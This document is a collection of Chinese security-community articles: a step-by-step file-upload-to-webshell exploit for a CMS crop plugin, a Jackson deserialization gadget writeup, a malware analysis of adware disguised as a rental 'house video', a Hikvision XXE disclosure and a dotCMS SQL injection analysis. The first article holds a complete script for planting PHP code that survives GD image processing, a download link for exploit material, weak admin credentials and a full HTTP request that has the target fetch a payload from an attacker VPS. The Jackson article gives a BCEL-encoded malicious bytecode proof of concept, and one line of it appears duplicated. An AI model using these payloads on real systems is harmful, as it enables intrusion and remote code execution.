$trnprt_indx = imagecolortransparent($imgSrc);
// If we have a specific transparent color
if ($trnprt_indx >= 0) {
// Get the original image's transparent color's RGB values
$trnprt_color = imagecolorsforindex($imgSrc, $trnprt_indx);
// Allocate the same color in the new image resource
$trnprt_indx = imagecolorallocate($imgDest, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);
// Completely fill the background of the new image with allocated color.
imagefill($imgDest, 0, 0, $trnprt_indx);
// Set the background color for new image to transparent
imagecolortransparent($imgDest, $trnprt_indx);
}
// Always make a transparent background color for PNGs that don't have one allocated already
elseif ($ext == "png") {
// Turn off transparency blending (temporarily)
imagealphablending($imgDest, true);
// Create a new transparent color for image
$color = imagecolorallocatealpha($imgDest, 0, 0, 0, 127);
// Completely fill the background of the new image with allocated color.
imagefill($imgDest, 0, 0, $color);
// Restore transparency blending
imagesavealpha($imgDest, true);
}
}
}
?>
对文件后缀名的处理包括主要通过 `$_POST["imageSource"]` 这个变量的值，包括两部分
1.获取 `$_POST["imageSource"]` 的值，使用 end 和 explode 获得路径的后缀，根据路径后缀使用对应的 php-GD
库函数进行处理
$ext = end(explode(".",$_POST["imageSource"]));
$function = returnCorrectFunction($ext);
$image = $function($_POST["imageSource"]);
2.同样是根据的 `$_POST["imageSource"]` 值进行判断进入不同的分支，然后组合成为 `$file_path
（file_put_contents` 的路径参数）
if(filter_var($_POST["imageSource"], FILTER_VALIDATE_URL))
{
$urlinfo=parse_url($_POST["imageSource"]);
$path=$urlinfo['path'];
$pathinfo=pathinfo($path);
}
else
{
$path=$_POST["imageSource"];
$pathinfo=pathinfo($_POST["imageSource"]);
}
$file_name=$pathinfo['filename'].'_crop.'.$pathinfo['extension'];//剪切后的图片名称
$file_path='.'.$pathinfo['dirname'].'/'.$file_name;
file_put_contents($file_path, $img);
绕过办法，令 `$_POST["imageSource"]` 为``
1.使用end函数 所以加入使用 ?1.jpg 作为请求的参数进行绕过，不然会因为找不到函数报错终止，因为程序会调用
returnCorrectFunction() 函数根据后缀（此处为JPG）进行调用其他php-GD函数
2.因为使用的 pathinfo() 处理 `$_POST["imageSource"]`，所以 前半部分为
payload_faith4444_crop.php
至此，成功绕过文件后缀名检测
**绕过php-GD对图片的渲染和处理导致webshell代码错位失效(此处参考索马里海盗方法)**
图片会经过 php-GD 处理，会导致 webshell 语句错位失效，如何在处理后仍然保留 shell 语句呢？
在正常图片中插入shell并无视GD图像库的处理，常规方法有两种
1.对比两张经过 php-gd 库转换过的 gif
图片，如果其中存在相同之处，这就证明这部分图片数据不会经过转换。然后我可以注入代码到这部分图片文件中，最终实现远程代码执行
2.利用 php-gd 算法上的问题进行绕过
这里我们选择第二种，使用脚本进行处理图片并绕过
1、上传一张jpg图片，然后把网站处理完的图片再下回来 比如x.jpg
2、执行图片处理脚本脚本进行处理 php jpg_payload.php x.jpg
3、如果没出错的话，新生成的文件再次经过gd库处理后，仍然能保留 webshell 代码语句
tips：
1、图片找的稍微大一点 成功率更高
2、shell 语句越短成功率越高
3、一张图片不行就换一张 不要死磕
图片处理脚本，还有具体操作会在验证部分详细写出！！！
#### 漏洞攻击与利用
漏洞复现材料（cms源码，攻击脚本，攻击图片） ：链接：<http://pan.baidu.com/s/1eSmtiSE> 密码：tsna
（自己的php-web环境的vps上,一定要是phpweb环境（并开启短标签），phpweb环境（并开启短标签），其他环境也可，但需要自行构造payload所需的图片）
本地验证
###### ① 首先登陆后台
###### ② 生成能经过php-GD处理后仍然能够保留webshell语句的图片
首先准备一张图片，并重名faith.php
过GD处理渲染的处理脚本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed
image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
php jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?echo'<?phpinfo();?>';?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
使用脚本进行处理，新生成的文件就能过GD
过GD的新文件 payload_faith.php
然后将新文件放到自己的 php-web 环境的 vps 上,一定要是 phpweb 环境（并开启短标签），phpweb 环境（并开启短标签，php
默认开启）（因为 payload 是 php 语句），其他环境也可，但需要自行构造 payload 所需的图片
`http://your_vps/payload_faith.php`
###### ③ 将各个参数补齐，发送最后的Payload
查看原图的长宽高
w=x2=图片宽度 h=y2=图片高度 x1=y1=固定0 根据你自己的图片做调整
###### ④ phpinfo()代码执行验证，访问最后的文件，在网站跟目录
#### 网络验证
后台地址：<http://xxxxxx/Admin/Index/login.html> 账号密码：admin admin888 弱口令
① 直接使用生成好的过GD文件payload_faith.php，并放到自己的vps上面
② 发送payload
POST /Plug/Input/cropzoomUpload.html HTTP/1.1
Host: 104.224.134.110
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=f8gk8cjfvj1e2to5gplnh5ifi7
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
viewPortW=500&viewPortH=334&imageX=0&imageY=0&imageRotate=0&imageW=500&imageH=334&imageSource=http://x.x.x.x/payload_faith.php?1.jpg&selectorX=0&selectorY=0&selectorW=500&selectorH=334
③ 通过执行phpinfo()进行验证漏洞
* * * | 社区文章 |
作者：隐形人真忙
作者博客：<http://blog.csdn.net/u011721501/article/details/79257709>
#### 0x00 Overview
历史上Jackson的反序列化漏洞以及绕过主要是CVE-2017-7525 和
CVE-2017-17485。而针对反序列化漏洞的防护，jackson主要采用了黑名单机制，通过限制反序列化的类名称来进行防护。黑名单列表在com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator类中：
本文主要介绍dbcp这个有趣的gadget（目前已经失效），以及新发现的CVE-2018-5968，涉及到两个gadgets绕过jackson黑名单进行RCE。
#### 0x01 Dbcp Gadget
这里我不得不先介绍一下dbcp这个gadget，在CVE-2017-7525时，官方并没有添加到黑名单中，而是从CVE-2017-17485爆出后才加入list。该Gadget是利用了org.apache.tomcat.dbcp.dbcp2.BasicDataSource，该类在tomcat-dbcp.jar中。当时jackson首次爆出漏洞后，很多人的目光投向了TemplatesImpl这个Gadget，但是这个Gadget的利用受到了JDK版本的限制，导致在JDK
8下不是很好用。当时我也提到了这个Gadget：
然而，市面上并没有针对这个Gadget利用的POC，这里我给出一下：
{
"@class":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName":"org.apache.log4j.spi
BCEL
BCEL
$l$8b$I$A$A$A$A$A$A$A$a5UmS$TW$U$7e$ae$J$ec$b2n$V$a3$88$bc$94Bk5$60$60$Jo$K$BDR$a1$d8$E$u$d8$b4$a9$b5$edes$83$8b$9b$dd$ccfW$d3_$e4W$fd$920e$a6$fd$d8$99$fe$Kg$fa$3f$da$9e$bbYD$qc$9d$v3$dc$bb$f7$dcs$9f$fb$9cs$9es$f3$e7$df$bf$fe$G$m$NW$c1w$MK$fc$X7pJ$c6$B7$9f$d6$5c$c7$Q$f5$aa$edZ$bea$ba$95$K$t$bb$_$wU$9b$fb$c2$c8$92$c1u$b2$z$f3$D$fe$8c$af$K$ee$u$883t$l$d0$ca$b0$b9$b3ol$ed$j$I$d3g$e8$5c$b4$i$cb_f$88$rG$L$M$f1$ac$5b$S$gb$e8$d2$d1$81N$86$8b9$cb$R$9bAeOx$P$f9$9e$z$Y$S9$d7$e4v$81$7b$96$5cG$c6$b8$ff$c4$aa1$dc$cd$fd$_$92$Z$GM$d4$85$Z$f8$o$5b$v1$dcH$e6N$Y$ef$fa$9e$e5$ecgF$cf$9a4$5c$c2e$F$J$86K$t$7b$3b$81$e3$5b$V$a1$e3$Kz$Iv_$f8$91$85$a1$t$f96Hd$OQzu$5cC$l$85$pY0$dc$fc$8f$fb$b7$3d$d7$U$b5ZF$c1$A$c3$d5$d0n$b9$c6jP
$LO$94v$E$$JO$c1$c7$M$7d$c7$7b$hN5$f0$JI$f0Jk$5b$c3$t$YQ0$7c$8a$7b$84$ab$e3S$7c$c6p$81$b8$bfu$8e$a1$f7$98$ffi$40$8a$60$Q$9f$cb$ba$dd$60$b8$96l$eb2Z$d0$d0$8f$a4t$ge$b8$7c$e2$d4bC$fb$wn1$40$c18$dd$f3n$f0$ab$81e$87$9c$N$a4$VL$9e$ST$cbC$c7$U$a6$Z$94g$dc$O$c4V$f9$9d$S$b6D$d7$be$84$v$ccJVs$b2$3cm$b2$5e$90$kwt$ccc$81D$cb$abU$e1$90$40$c6$3fH$m$R$ed$8c$8aE$G$a6I$a4e$jw$b1$c2$a0$fan$cb$87$e1J$b2$z$af$7e$ac$ea$c8$86$be$94$c1$92l$HY$b3$fb$3a$d6$b0N$91$3e$e7$96$bf$e6za$Dm$a8$d8$m$nDb$l$8e$a4$3c$5c$e6$96$zJ$K$be$a2$8c$9f$dcp$bfn$8a$aao$b9$O$j5$a5$da$Tg$af$t$fcjK$Lt$b4$8d$f0$u$V$5eX8$wx$ae$bd$fe2$b29E$9dZ$3dn$Tw$86
$LO$94v$E$$JO$c1$c7$M$7d$c7$7b$hN5$f0$JI$f0Jk$5b$c3$t$YQ0$7c$8a$7b$84$ab$e3S$7c$c6p$81$b8$bfu$8e$a1$f7$98$ffi$40$8a$60$Q$9f$cb$ba$dd$60$b8$96l$eb2Z$d0$d0$8f$a4t$ge$b8$7c$e2$d4bC$fb$wn1$40$c18$dd$f3n$f0$ab$81e$87$9c$N$a4$VL$9e$ST$cbC$c7$U$a6$Z$94g$dc$O$c4V$f9$9d$S$b6D$d7$be$84$v$ccJVs$b2$3cm$b2$5e$90$kwt$ccc$81D$cb$abU$e1$90$40$c6$3fH$m$R$ed$8c$8aE$G$a6I$a4e$jw$b1$c2$a0$fan$cb$87$e1J$b2$z$af$7e$ac$ea$c8$86$be$94$c1$92l$HY$b3$fb$3a$d6$b0N$91$3e$e7$96$bf$e6za$Dm$a8$d8$m$nDb$l$8e$a4$3c$5c$e6$96$zJ$K$be$a2$8c$9f$dcp$bfn$8a$aao$b9$O$j5$a5$da$Tg$af$t$fcjK$Lt$b4$8d$f0$u$V$5eX8$wx$ae$bd$fe2$b29E$9dZ$3dn$Tw$86
Q$b7$fc$82$ac$P$r$83$e8j$bbn$e0$99b$cd$92$7d$dc$df$b6$_$t$q4$c3$60$d9u$8d$ed$e7$8e$f0$d23$f3$e9$f9$f4$f4$f4$ec$ectzjn$e6$f6$e4$q$89a$u$f7$be$7d$e2$a1$$$9av$f4$da$a8$f4$84$98$T$94$m$V$8f$e8u$d3q$B$X5$3c$c6$8fD$e1Lk$be$c9$94$82$9f$8f$fb$ecTye$bc$K$f64$98$e8b8$bf$pj$81$ed$_$3cZYYQAA$a5$3eP$r$S$s$p$r$b6$_$91$9e0$M$q$b3$ef$f5$3b$90$7eO$e5$b0$ac$81c$W$p$a0bB$fe$c5$e8$8b$kP$g$VZ$Z4SW$a1c$ac$J$f5$V$7d$9c$83Fcgh$8c$e1$3c$8dz$cb$81$e6$o$cd$5d2$n$d1$e1$bfB$m$60$f7$Q$ddc$N$5c$cd$j$a1$bfx$84$c1$e2$ad$G$86$9a$b8$de$c4$cd$7cbl$93$z$c4_$60$f0$I$a9$e2$f8$n$s$9a$98$e9$8b7p$3b$91$a1$a1$81$a5$cdT$D$f7$8a$L$f1$3f$feyM$c7$be$98$eb$Y$7f$99O$7c$f92$bct$T$5bx$QQ$9a$o$C$f2z$95V$3a$R$eb$a5y$80$beF$f0$R$ae$T$a9$r$9a$d7$d1$8d$3c$bd$96$5bH$60$h$3d$n$fd$e5$WE$e4h$Htz$3dD$a5$Ub$86$7c$be$s$f4$n$fa$r$db$a1$dd$YaM$90g$kq$fa$3f$87$87$f8$86$CT$f1$fd$9bl$dd$a1$b5$ccb$ea$Fb$y$97$f8$e1$Q$3f$e5$8f$c0$vf$b3$d8D$vQn$c0$a2p$ac$ee$c7$N$d8$NT$9ap$7e$7f$Vf$9d$a1$Q$s$f7$db$7f$B$97bQ$5d$3c$H$A$A",
"driverClassLoader":
{
"@class":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"logWriter":null
}
其实看到poc，想必大家对这个触发方式很熟悉了，没有什么奇技淫巧，就是利用的setter方法进行的漏洞触发，具体是setLogWriter这个方法。
在setLogWrite中首先调用了createDataSource方法，继续跟进：
createDataSource方法调用了createConnectionFactory方法，跟进：
触发点就很明显了，就是Class.forName的时候。这里的driverClassName和driverClassLoader都是有setter方法的，所以我们直接可以从json串里传入。这里加载恶意字节码使用了Apache
BCEL这个库，这个库主要用于字节码操作，并且已经嵌入到JDK源码中。漏洞触发的关键在于com.sun.org.apache.bcel.internal.util.ClassLoader这个classloader的loadClass方法，我们看一下是如何处理字节码的：
对于包含BCEL子串的类名，调用的是createClass方法进行还原：
因此driverClassName字段就使用BCEL将字节码编码为BCEL的形式即可，代码如下：
#### 0x02 Bypass the blacklist
总结一下，Jackson中的Gadget触发无非这几种思路：
（1）构造函数中触发：这种限制比较多，需要默认构造函数。而且jackson中没有针对构造函数的自动发现机制，只支持一个参数的构造函数。CVE-2017-17485就是运用的这个特性。
（2）Setter中触发：目前公开的Gadget大多数使用的这种形式触发。这里不需要默认的构造函数，只需要设置类属性或者方法即可
（3） 其他形式触发：比如反序列化过程中有map操作，可以通过equals方法进行触发，这种就比较复杂，需要对源码很熟悉。
因此我们寻找Gadget的时候也要按照这几个思路来寻找，这里我主要关注了setter触发的方式，所以着重看了setter中的敏感JNDI操作。
这里我找出了两个新gadget，这两个gadget都可以绕过CVE-2017-17485之后的jackson反序列化防护机制，用于申请了CVE-2018-5968。
##### 1.org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
触发过程如下：
（1）调用了setProperties方法
（2）该方法中对properties参数进行拆分，并将data_source属性直接作为lookup方法的参数
（3）触发RCE
相关代码如下：
##### 2.org.hibernate.jmx.StatisticsService
触发过程如下：
（1）调用setSessionFactoryJNDIName
（2）(newInitialContext()).lookup()触发RCE
代码如下：
实际上，这个Gadget在pwntester的某个slide出现过。
#### 0x03 Summary
基于黑名单机制的防护在任何场景都是很不完善的，是一种治标不治本的手段。因此，jackson-databind从3.X版本开始，会提供新的API接口和白名单机制来解决这个问题。而针对2.X版本，相信还是会有其他Gadgets，这个被发掘出来只是时间问题。
以下是CVE-2018-5968的timeline：
2018-1-17 发现两个可用于绕过黑名单的Gadget
2018-1-18 报告给官方，并开了issue提醒开发人员
2018-1-22 官方更新了黑名单进行了修复，并合入2.9.4版本
2018-1-22 MITRE给了对应的CVE编号
#### Reference
[1] <https://github.com/javaExploit/jackson-rce-via-two-new-gadgets>
[2] <https://github.com/FasterXML/jackson-databind/issues/1899>
* * * | 社区文章 |
# 木马伪装“房子视频” 网上查租房谨防中招
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
近期有网友反馈,在某房屋租售的网站上浏览租房信息的时候,根据租房简介中的下载链接,下载了一个名为“房子视频”的文件点开后,浏览器主页被恶意篡改。360QVM团队第一时间对该样本进行分析,发现这款名为“房子视频”的软件是一个流氓推广程序,除了劫持浏览器主页以外,还会在受害者电脑上静默安装多款流氓推广软件,严重影响电脑的正常使用。
所谓的“房子视频”在解压缩后,文件夹中存放着一个记事本程序和一个名为“房子视频.mp4”文件,而实质上这个“房子视频.mp4”文件并非视频文件,它是一个通过超长文件名来伪装成视频文件的恶意程序。当用户在下载后,如果没有仔细查看该文件就点击的话,就触发后续的流氓推广行为。
传播途径:
该样本传播途径主要是通过在一些分类信息网站上发布租房信息,以低廉的价格吸引一些急于租房在短期内无法支付高额租金的租户。一部分租户可能会对这种租金低廉的合租房存在质疑,不法分子利用租户这种心理在房源描述中提供了房子视频的下载链接。为了进一步了解房屋情况,大多数租户都会将房源描述中的房子视频下载下来打开,从而中了不法分子设下的陷阱。
样本分析:
当程序执行后会在C:Documents and SettingsAdministratorLocal
SettingsTemp_ir_sf7_temp_0释放加壳文件irsetup.exe,接着通过带参数"__IRAOFF:520716
"__IRAFN:C:Documents and SettingsAdministrator桌面房子视频.mp4 . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . .exe""启动irsetup.exe。
而irsetup.exe通过弹窗提示用户视频文件无法播放,而无法播放的原因是视频文件编码错误。这样一来租户就以为自己下载的房子视频由于编码问题无法播放而关闭窗口,当窗口关闭后,irsetup.exe则会在C:Program
Files目录下释放install.exe和360update.bat这两个文件,并且启动install.exe。
C:Program Files目录下的install.exe程序,签名是”SHANGHAI ZHANMENG NETWORK TECHNOLOGY
CO.,LTD.”,并且加了UPX的压缩壳。
该程序启动执行后在C:Program
Files下创建WinHomeLite目录,分别释放HomeLockerUpdateServices.dll、HomePageLocker.exe、HPHelper32.dll、HPHelper64.dll、locker32.exe、locker64.exe、uninstall.exe这七个文件。该目录下的文件均加了UPX的压缩壳,签名同样均为“SHANGHAI
ZHANMENG NETWORK TECHNOLOGY
CO.,LTD.”后续继续释放了DriverCode_X64.sys和DriverCode_X86.sys两个驱动文件。
随后通过调用regsvr32.exe将WinHomeLite目录下的HomeLockerUpdateServices.dll添加到服务项中,这里/s是让程序静默运行不显示结果提示框。
接着启动同目录下的HomePageLocker.exe,由HomePageLocker.exe启动Locker32.exe。
而HomePageLocker.exe在启动的时候会检测是否带参数执行,主要参数有update和uninstall。Uninstall主要功能是卸载,这里主要分析update主要的功能。它会获取系统进程并且检测进程中是否有杀软进程以及2345Service。
程序会通过访问网络进行联网更新,通过分析程序会与http://www.microrui.net/update/update.json.txt?channel=guanwang&ss=建立链接从而实现更新操作。如果HomePageLocker.exe不带参数启动的情况,它主要作用是启动启动Locker32.exe
Locker32.exe启动后会向whtj.meijucenter.com建立链接,通过捕获数据包发现程序向该网站发送数据。
而篡改租户电脑的浏览器主页的方式通过Locker32.exe安装消息钩子“HPHelper32.dll”,接着会检测电脑的浏览器进程。
当用户打开浏览器的时候,即便浏览器主页设置中没有被修改,由于消息钩子“HPHelper32.dll”的原因浏览器会自动跳转到指定的网站,从而达到一个挟持主页的效果。
浏览器主页被恶意“篡改”、“挟持”,这是部分用户经常碰到的问题,而导致这些问题产生的原因主要是电脑病毒和流氓软件被恶意传播。这款“房子视频.mp4. . .
.
.exe”流氓软件则是利用在租凭网站上发布租凭信息,将自身伪装成视频文件诱导租户下载执行,从而造成用户的电脑上的浏览器主页被篡改成了自己不熟悉的主页网址,给用户正常使用电脑造成影响。
在此提醒广大用户不要下载来历不明的文件,不随意点击陌生人发布的链接地址,并开启360安全卫士拦截查杀木马。 | 社区文章 |
# 【技术分享】海康威视网络摄像机远程访问发现XXE漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://medium.com/@iraklis/an-unlikely-xxe-in-hikvisions-remote-access-camera-cloud-d57faf99620f?swoff=true>
译文仅供参考，具体内容表达以及含义原文为准。
当我想从我的Elisa Live 网络摄像机上获取管理员权限时，却在后台系统里发现了XXE漏洞。相机的制造商是网络摄像机市场的巨头海康威视。
随着物联网技术的发展，关于其安全性的隐患也逐渐被暴露出来，简单再google上进行一下搜索，就可发现近年间相关领域发布了数百篇论文和白皮书。
大约两个月以前的一个周末，我想研究一下网络摄像机，于是在亚马逊上买了一个比较便宜的，这个摄相机没有任何已知的安全漏洞。上面写着Elisa Live
1280×720像素高清网络摄像机。
我会尽量用简洁的话语来写这篇文章，所以我会将重点放在XXE的发现过程上，我不会写我研究相机的每个详细步骤，只写和发现XXE有关的部分。
**关于摄像机**
这是一台由海康威视贴牌生产的RC8221
型号摄像机，海康威视公司是一家总资产达200亿美元的公司，是监控产品行业的市场领导者，约占整个市场的20%份额。Elisa是一家芬兰公司，为用户查看摄像机的实时数据提供云服务。
渐渐地我发现，如果不通过他们的云服务平台，你就不能访问摄像机。换句话说，摄像机的数据要被上传到他们的后台系统中然后你再通过网页或者手机应用访问这些数据。
**初步尝试**
我通过它的以太网接口把摄像机连接到我的实验室，并且开始拦截网络流量。如果你曾经想做与物联网设备有关的实验，我强烈建议不要急于把设备连接进互联网。一些设备安装了旧的或者不安全的固件，我们需要首先检查是否有更新。
Wireshark泄露了两个有趣的未加密调用，如【图-1】：
图1：向www.hik-online.com发出的POST请求
这是一个向 www.hik-online.com网站发出的Post请求，看起来是一个base
64编码后的密码，我们把它记录下来稍后分析。另一个是一个从amazon S3存储中下载更新的Get请求，如【图2】。我们可以从这里下载固件。
图2： 从S3中下载更新的GET 请求
**（不能）访问我的摄像机**
Nmap快速扫描可以显示一些开放端口，包括一个带有登陆页面的网页服务。我用一些海康威视常用的默认用户名和密码尝试登陆，但很快就知道这样是没用的。验证证书的控制器受http摘要认证机制保护，这是这个固件独有的特点。
利用binwalk和[hiktools](https://github.com/aloz77/hiktools)[1]分析固件，我提取到了一些有趣的信息，但其中并没有任何关于http认证的信息。Root密码是hiklinux，以下是/etc/passwd的内容，如【图3】，仅供参考。
root:ToCOv8qxP13qs:0:0:root:/root/:/bin/sh
图3：/etc/passwd的内容
SSH的端口是关闭的，所有我没法利用这个弱密码，但是我注意到，我在升级之前进行的第一次扫描的时候SSH的端口是没关闭的。
**访问摄像机**
回到第一个POST请求中我们可以看到，它包括一个Base64编码的字符串。但解码之后是一堆乱码。密钥就在固件的某个地方，只是需要我们去寻找。我没有核实是否这个密码是摄像机用来对服务器进行身份验证的，或者是摄像机启动后提交给海康威视的密码。
我不得不承认对自己的进展有点灰心，花了两天时间基本没有什么发现。我便浏览了海康威视的网站，结果发现了这个：
请将安全性能缺陷发送至[email protected]，我们将尽快与您联系。为了保护用户和企业信息安全，请不要公开这些问题。我们将根据海康威视安全漏洞评估对您进行奖励。
这是一个漏洞悬赏，让我们试试POST请求。
由于这是一个XML的post请求，我首先就尝试用SYSTEM
entity来请求本地或外部文件，如【图4】。本地文件读取并没有凑效，所以我创建了一个VPS等待传入连接，发现成功了，如【图5】：
图4：尝试XML实体注入攻击
****
图5：VPS收到连接 **
**
这就有意思了啊，既然我们可以使用系统实体加载外部文件，何不尝试通过恶意DTD回传文件内容呢。例如，/etc/hosts文件。
**[XXEinjector](https://github.com/enjoiz/XXEinjector)[2]** **.**
是一个不错的工具，它可以自动完成这一过程，如【图6】。
图6：使用XXEinjector读取任意文件
成功了。我们可以在服务器上读取任意文件。但是Tomcat服务器运行于什么权限呢？我成功读取了/etc/shadow文件的内容，所以一定是root权限。
在这个时候，我停下来向海康威视披露得到调查结果的过程。如果我是心怀不轨的黑客，我可能会继续入侵10个服务器（hik-online.com分布在全球的存在漏洞的其他api服务器）。如果Tomcat的数据库连接字符串不通往任何地方，可做更多的事情，例如寻找适用硬编码的证书或密钥连接其他服务器的脚本。
访问10万台以上的网络摄像机将不是什么难事！
服务器漏洞是http://www.hik-online.com/后端系统的一部分——海康威视提供的通过Web访问你的PVR和相机服务。
**与供应商的交流过程和奖励**
****
**·** 2016年8月6日 ：发送第一封邮件到危险品研究中心
**·** 2016年8月16日：危险品研究中心没有回应，又发送了一封快捷邮件
**·** 2016年9月6日 ：重新给海康威视营销和公关联系人发了一封邮件
**·** 2016年9月7日 ：危险品研究中心确认接收并要求发送更多信息
**·** 2016年9月8日 ：海康威视修复了漏洞，并要求我重新测试
**·** 2016年9月25日：收到我的奖励，一个价值69美元的网络摄像机。
**结论**
如果你接受XML的内容，请确认没有XXE漏洞。还要确保你做任何事都使用HTTPS协议，这样还是可以确保自身的信息安全的。
**附**
hiktools ： <https://github.com/aloz77/hiktools>
XXEinjector : <https://github.com/enjoiz/XXEinjector> | 社区文章 |
# dotCMS 5.1.5：利用H2 SQL注入实现RCE
|
##### 译文声明
本文是翻译文章，文章原作者 ripstech，文章来源：blog.ripstech.com
原文地址：<https://blog.ripstech.com/2019/dotcms515-sqli-to-rce/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在本文中，我们利用由RIPS代码分析系统发现的一个SQL注入漏洞（[CVE-2019-12872](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12872)），在基于java的内容管理系统dotCMS上实现了远程代码执行。
未授权攻击者可以通过CSRF或者以`Publisher`角色来利用这个SQL注入漏洞。攻击者可以执行堆叠SQL查询（stacked
queries），这意味着当目标服务使用的是H2数据库时，攻击者有可能篡改任意数据库条目，甚至执行shell命令。
## 0x01 漏洞分析
dotCMS有个`Push
Publishing`功能，该功能可以将内容从一个服务器远程发布到另一个服务器，比如从测试环境发布到生产环境。此外，用户可以将多个内容集合到一个bundle（捆绑包）中，然后直接推送这个bundle，不用单独推送每个内容。攻击者可以利用这个功能，将一个bundle推送到发布队列中，并且注入SQL语句。详细信息请参考RIPS的[扫描报告](https://demo.ripstech.com/projects/dotcms_5.1.5)。
我们可以通过`view_unpushed_bundles.jsp`文件来查看尚未推送的bundle。攻击者的入口点可以参考如下代码片段，其中系统会调用存在漏洞的`deleteEndPointById()`函数。漏洞利用前提是未发布的bundle需要位于待发布队列中，否则整个执行流程将不会触及第7行代码。然而作为内容发布者，我们可以简单将bundle推送到队列中。系统会在代码第6行，通过HTTP
GET或者POST参数`delEp`接收未过滤的用户输入数据，然后将其以参数`id`传递给`deleteEndPointById()`函数。
代码源文件：`html/portlet/ext/contentlet/publishing/view_unpushed_bundles.jsp`：
...
<%
for(Bundle bundle : bundles){
hasBundles=true;
if(null!=request.getParameter("delEp")){
String id = request.getParameter("delEp");
pepAPI.deleteEndPointById(id);
}
...
}
%>
...
`deleteEndPointById()`函数随后会调用`completeDiscardConflicts()`，后者依然会通过参数`id`来传递未过滤的用户输入数据。
`com.dotcms.publisher.endpoint.business.PublishingEndPointAPIImpl`：
public class PublishingEndPointAPIImpl implements PublishingEndPointAPI {
public void deleteEndPointById(String id) throws DotDataException {
...
integrityUtil.completeDiscardConflicts(id);
...
}
...
}
进一步跟踪后，我们可以找到`discardConflicts()`函数（如下所示），其中在第5行，用户输入会通过`endpointId`参数拼接到`DELETE`查询语句中。这里没有任何输入过滤机制，也没有预置的安全语句，攻击者可以将任意SQL语法注入已有的SQL查询语句中。
`com.dotcms.integritycheckers.AbstractIntegrityChecker`：
private void discardConflicts(final String endpointId, IntegrityType type)
throws DotDataException {
...
dc.executeStatement("delete from " + resultsTableName + " where endpoint_id = '"
+ endpointId + "'");
}
